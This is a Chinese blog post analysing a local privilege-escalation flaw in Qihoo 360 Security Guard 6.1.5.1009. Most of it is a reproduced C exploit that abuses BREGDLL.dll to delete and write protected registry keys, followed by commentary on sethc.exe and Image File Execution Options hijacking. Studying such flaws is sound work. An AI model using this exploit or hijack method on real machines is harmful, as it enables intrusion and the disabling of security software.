前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation

Qihoo 360 Security Guard 6.1.5.1009 - breg device drivers Privilege Escalation

作者头像
用户1423082
发布2024-12-31 18:33:52
发布2024-12-31 18:33:52
6300
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

https://www.exploit-db.com/exploits/11317/

POC

代码语言:javascript
代码运行次数:0
复制
#include <windows.h>
 
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);
 
BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;
 
#define AppPath   "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"
 
#define TestDeleteKey  HKEY_LOCAL_MACHINE
#define TestDeleteRegPath "Software\\360Safe\\Update"
 
#define TestSetKey  HKEY_LOCAL_MACHINE
#define TestSetPath  "Software\\360Safe"
 
BOOL InitBRegDll()
{
 LONG lResult;
 HKEY hKey;
 
 CHAR cPath[MAX_PATH + 32] = { 0 };
 DWORD dwPathLen = MAX_PATH;
 
 lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
 if (FAILED(lResult))
  return FALSE;
 
 DWORD dwType = REG_SZ;
 lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
 RegCloseKey(hKey);
 if (FAILED(lResult))
  return FALSE;
 
 strcat(cPath, "\\deepscan\\BREGDLL.dll<file://\\deepscan\\BREGDLL.dll>");
 
 HMODULE modBReg = LoadLibraryA(cPath);
 if (!modBReg)
  return FALSE;
 
 INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
 BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
 BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
 BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
 BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");
 
 if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
  FreeLibrary(modBReg);
  return FALSE;
 }
 
 if (!InitRegEngine()) {
  FreeLibrary(modBReg);
  return FALSE;
 }
 
 return TRUE;
}
 
LONG TestSetRegKey()
{
 HKEY hKey;
 LONG lResult;
 
 lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
 if (FAILED(lResult))
  return lResult;
 
 DWORD dwType = REG_SZ;
 static char szData[] = "TEST VALUE";
 lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
 BRegCloseKey(hKey);
 
 return lResult;
}
 
int main(int argc, char *argv[])
{
 if (!InitBRegDll()) {
  MessageBoxA(NULL, "Initialization BReg error&#65281;", "error", MB_ICONSTOP);
  return 1;
 }
 
 if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
  MessageBoxA(NULL, "DeleteKey error&#65281;", "error", MB_ICONSTOP);
  return 2;
 }
 
 if (FAILED(TestSetRegKey())) {
  MessageBoxA(NULL, "SetRegKey error&#65281;", "error", MB_ICONSTOP);
  return 3;
 }
 
 MessageBoxA(NULL, "Broke System Security Check&#65292;Gain Escalated Privileges&#65292;Successful exploit&#65281;", "Successful", MB_OK);
 return 0;
}

利用函数是在InitBRegDll,之后就拥有了修改360的注册表的权限了

可以看到只是将360的问题dll进行LoadLibraryA,之后获取里面对注册表操作的函数,那么之后就拥有了设置本来没有权限的注册表的能力

由于没有那个版本的360,只能看漏洞战争里面的分析了

原来是360自己实现了一套Ntxxx函数,调用底层未文档化的函数,而没有进行任何验证,导致可以被其他程序任意调用。

那么攻击者可以通过这个来修改注册表打开3389端口,劫持sethc.exe,成功获得权限

我们查看漏洞利用程序,利用的就是映像劫持技术

映像劫持主要通过修改注册表中的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/项来劫持正常的程序,比如有一个病毒 vires.exe 要劫持qq程序,它会在上面注册表的位置新建一个qq.exe项,再在这个项下面新建一个字符串的键 debugger把其值改为C:/WINDOWS/ SYSTEM32/VIRES.EXE(这里是病毒藏身的目录)即可。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档